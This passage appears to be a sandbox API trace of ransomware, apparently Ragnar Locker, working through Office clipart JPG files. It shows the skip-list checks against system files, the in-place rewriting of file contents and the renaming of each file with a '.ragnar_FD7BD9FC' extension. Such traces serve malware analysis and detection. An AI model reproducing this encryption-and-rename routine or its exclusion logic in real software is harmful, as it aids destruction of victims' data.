lpNewFilePointer=0x0) returned 1 [0087.898] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3d7f, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3d7f, lpOverlapped=0x0) returned 1 [0087.899] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.899] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3d7f, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.899] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3d7f, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3d7f, lpOverlapped=0x0) returned 1 [0087.899] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3d7f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.900] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.900] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3d7f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.900] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.900] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.900] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.900] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.900] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.900] GetProcessHeap () returned 0x580000 [0087.900] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.900] CloseHandle (hObject=0xf4) returned 1 [0087.900] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" [0087.900] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG.ragnar_FD7BD9FC" [0087.900] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.901] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341738.JPG", cAlternateFileName="")) returned 1 [0087.901] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.901] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0341738.JPG" | out: lpString1="J0341738.JPG") returned="J0341738.JPG" [0087.901] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG") returned=".JPG" [0087.901] lstrcmpiW (lpString1="J0341738.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.901] lstrcmpiW (lpString1="J0341738.JPG", lpString2="autorun.inf") returned 1 [0087.901] lstrcmpiW (lpString1="J0341738.JPG", lpString2="boot.ini") returned 1 [0087.901] lstrcmpiW (lpString1="J0341738.JPG", lpString2="bootfont.bin") returned 1 [0087.901] lstrcmpiW (lpString1="J0341738.JPG", lpString2="bootsect.bak") returned 1 [0087.901] lstrcmpiW (lpString1="J0341738.JPG", lpString2="bootmgr") returned 1 [0087.901] lstrcmpiW (lpString1="J0341738.JPG", lpString2="bootmgr.efi") returned 1 [0087.901] lstrcmpiW (lpString1="J0341738.JPG", lpString2="bootmgfw.efi") returned 1 [0087.901] lstrcmpiW (lpString1="J0341738.JPG", lpString2="desktop.ini") returned 1 [0087.901] lstrcmpiW (lpString1="J0341738.JPG", lpString2="iconcache.db") returned 1 [0087.901] lstrcmpiW (lpString1="J0341738.JPG", lpString2="ntldr") returned -1 [0087.901] lstrcmpiW (lpString1="J0341738.JPG", lpString2="ntuser.dat") returned -1 [0087.901] lstrcmpiW (lpString1="J0341738.JPG", lpString2="ntuser.dat.log") returned -1 [0087.902] lstrcmpiW (lpString1="J0341738.JPG", lpString2="ntuser.ini") returned -1 [0087.902] lstrcmpiW (lpString1="J0341738.JPG", lpString2="thumbs.db") returned -1 [0087.902] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.902] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.902] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.902] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.902] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.902] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.902] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg")) returned 0x20 [0087.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.902] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20166) returned 1 [0087.902] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4ebd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.902] GetProcessHeap () returned 0x580000 [0087.902] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.902] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.904] VirtualAlloc (lpAddress=0x0, dwSize=0x4ec6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.904] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.904] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.904] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4ec6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4ec6, lpOverlapped=0x0) returned 1 [0087.905] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.905] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4ec6, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.905] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4ec6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4ec6, lpOverlapped=0x0) returned 1 [0087.905] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4ec6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.905] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.906] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4ec6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.906] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.906] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.906] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.906] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.906] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.906] GetProcessHeap () returned 0x580000 [0087.906] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.906] CloseHandle (hObject=0xf4) returned 1 [0087.906] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" [0087.906] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG.ragnar_FD7BD9FC" [0087.906] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.907] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x49ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341742.JPG", cAlternateFileName="")) returned 1 [0087.907] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.907] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0341742.JPG" | out: lpString1="J0341742.JPG") returned="J0341742.JPG" [0087.907] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG") returned=".JPG" [0087.907] lstrcmpiW (lpString1="J0341742.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.907] lstrcmpiW (lpString1="J0341742.JPG", lpString2="autorun.inf") returned 1 [0087.907] lstrcmpiW (lpString1="J0341742.JPG", lpString2="boot.ini") returned 1 [0087.907] lstrcmpiW (lpString1="J0341742.JPG", lpString2="bootfont.bin") returned 1 [0087.907] lstrcmpiW (lpString1="J0341742.JPG", lpString2="bootsect.bak") returned 1 [0087.907] lstrcmpiW (lpString1="J0341742.JPG", lpString2="bootmgr") returned 1 [0087.907] lstrcmpiW (lpString1="J0341742.JPG", lpString2="bootmgr.efi") returned 1 [0087.907] lstrcmpiW (lpString1="J0341742.JPG", lpString2="bootmgfw.efi") returned 1 [0087.907] lstrcmpiW (lpString1="J0341742.JPG", lpString2="desktop.ini") returned 1 [0087.907] lstrcmpiW (lpString1="J0341742.JPG", lpString2="iconcache.db") returned 1 [0087.908] lstrcmpiW (lpString1="J0341742.JPG", lpString2="ntldr") returned -1 [0087.908] lstrcmpiW (lpString1="J0341742.JPG", lpString2="ntuser.dat") returned -1 [0087.908] lstrcmpiW (lpString1="J0341742.JPG", lpString2="ntuser.dat.log") returned -1 [0087.908] lstrcmpiW (lpString1="J0341742.JPG", lpString2="ntuser.ini") returned -1 [0087.908] lstrcmpiW (lpString1="J0341742.JPG", lpString2="thumbs.db") returned -1 [0087.908] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.908] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.908] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.908] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.908] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.908] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.908] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg")) returned 0x20 [0087.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.909] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18874) returned 1 [0087.909] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x49b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.909] GetProcessHeap () returned 0x580000 [0087.909] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.909] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.911] VirtualAlloc (lpAddress=0x0, dwSize=0x49ba, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.911] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.911] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.911] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x49ba, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x49ba, lpOverlapped=0x0) returned 1 [0087.912] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.912] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x49ba, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.912] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x49ba, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x49ba, lpOverlapped=0x0) returned 1 [0087.913] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x49ba, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.913] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.913] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x49ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.913] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.913] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.913] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.913] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.913] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.913] GetProcessHeap () returned 0x580000 [0087.913] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.913] CloseHandle (hObject=0xf4) returned 1 [0087.913] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" [0087.913] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG.ragnar_FD7BD9FC" [0087.914] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.914] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10bdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382836.JPG", cAlternateFileName="")) returned 1 [0087.914] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.914] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382836.JPG" | out: lpString1="J0382836.JPG") returned="J0382836.JPG" [0087.914] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG") returned=".JPG" [0087.916] lstrcmpiW (lpString1="J0382836.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.916] lstrcmpiW (lpString1="J0382836.JPG", lpString2="autorun.inf") returned 1 [0087.916] lstrcmpiW (lpString1="J0382836.JPG", lpString2="boot.ini") returned 1 [0087.916] lstrcmpiW (lpString1="J0382836.JPG", lpString2="bootfont.bin") returned 1 [0087.916] lstrcmpiW (lpString1="J0382836.JPG", lpString2="bootsect.bak") returned 1 [0087.916] lstrcmpiW (lpString1="J0382836.JPG", lpString2="bootmgr") returned 1 [0087.916] lstrcmpiW (lpString1="J0382836.JPG", lpString2="bootmgr.efi") returned 1 [0087.916] lstrcmpiW (lpString1="J0382836.JPG", lpString2="bootmgfw.efi") returned 1 [0087.917] lstrcmpiW (lpString1="J0382836.JPG", lpString2="desktop.ini") returned 1 [0087.917] lstrcmpiW (lpString1="J0382836.JPG", lpString2="iconcache.db") returned 1 [0087.917] lstrcmpiW (lpString1="J0382836.JPG", lpString2="ntldr") returned -1 [0087.917] lstrcmpiW (lpString1="J0382836.JPG", lpString2="ntuser.dat") returned -1 [0087.917] lstrcmpiW (lpString1="J0382836.JPG", lpString2="ntuser.dat.log") returned -1 [0087.917] lstrcmpiW (lpString1="J0382836.JPG", lpString2="ntuser.ini") returned -1 [0087.917] lstrcmpiW (lpString1="J0382836.JPG", lpString2="thumbs.db") returned -1 [0087.917] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.917] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.917] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.917] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.917] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.917] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.917] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg")) returned 0x20 [0087.917] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.918] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=68572) returned 1 [0087.918] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x10bd3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.918] GetProcessHeap () returned 0x580000 [0087.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.918] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.919] VirtualAlloc (lpAddress=0x0, dwSize=0x10bdc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.920] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.920] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.920] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x10bdc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x10bdc, lpOverlapped=0x0) returned 1 [0087.922] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.922] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10bdc, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.922] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x10bdc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x10bdc, lpOverlapped=0x0) returned 1 [0087.922] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, 